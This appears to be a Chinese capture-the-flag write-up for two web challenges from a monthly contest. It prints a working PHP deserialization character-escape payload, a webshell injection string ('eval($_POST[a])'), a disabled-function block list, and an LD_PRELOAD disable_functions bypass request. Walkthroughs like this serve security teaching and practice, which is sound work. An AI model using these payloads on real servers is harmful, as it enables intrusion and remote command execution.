安恒月赛四月web-wp
web1
给出源码,简单看一下事反序列化字符逃逸
1 |
|
关于反序列化字符逃逸可以👇这个:菜鸡博客
我们先按照正常的pop来进行得到我们需要构造的字符串
1 | O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}} |
这是正常逻辑下的
1 | O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";s:1:"bbb";} |
这个题目因为不能直接拓宽长度,只能减少长度,所以我们用前面的username去吃掉后面的";s:8:"password";s:1:"
让我们输入的password自成一体
每个\0\0\0变成*
有不可见字符包裹,就是剪短3个字符,";s:8:"password";s:77:"1234
是27字符,除3就是9
payload(建议用burp)
1 | a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=1234";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}} |
web2
第一步格式化字符串https://blog.csdn.net/weixin_41185953/article/details/80485075
然后去admin登陆,看到源码
1 | Your sandbox: ./shells/N2d6gGGkG2U2UZ2D/ set your shell |
推荐p神博客
这是原题
1 | ?shell=;eval($_POST[a]); |
蚁剑连上
使用插件没有什么用,于是手动构造
题目给了so文件,想到了LD_PRELOAD:https://www.freebuf.com/articles/web/192052.html
以及payload:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
上传文件,然后发现不能执行,看看内容中是否有函数被过滤,发现 mail被过滤了。
1 |
|
1 | set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,error_log,dl,FFI::cdef,debug_backtrace,imap_mail,mb_send_mail |
仔细阅读文章应该可以知道需要找一个函数来开启新的进程
通过赵总的提示(赵总tql,Orz),以及https://www.anquanke.com/post/id/197745?from=singlemessage
使用gnupg拓展修改代码
然后打上去就完事了
1 | bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/admin/shells/xxxxxxx/bypass_disablefunc_x64.so |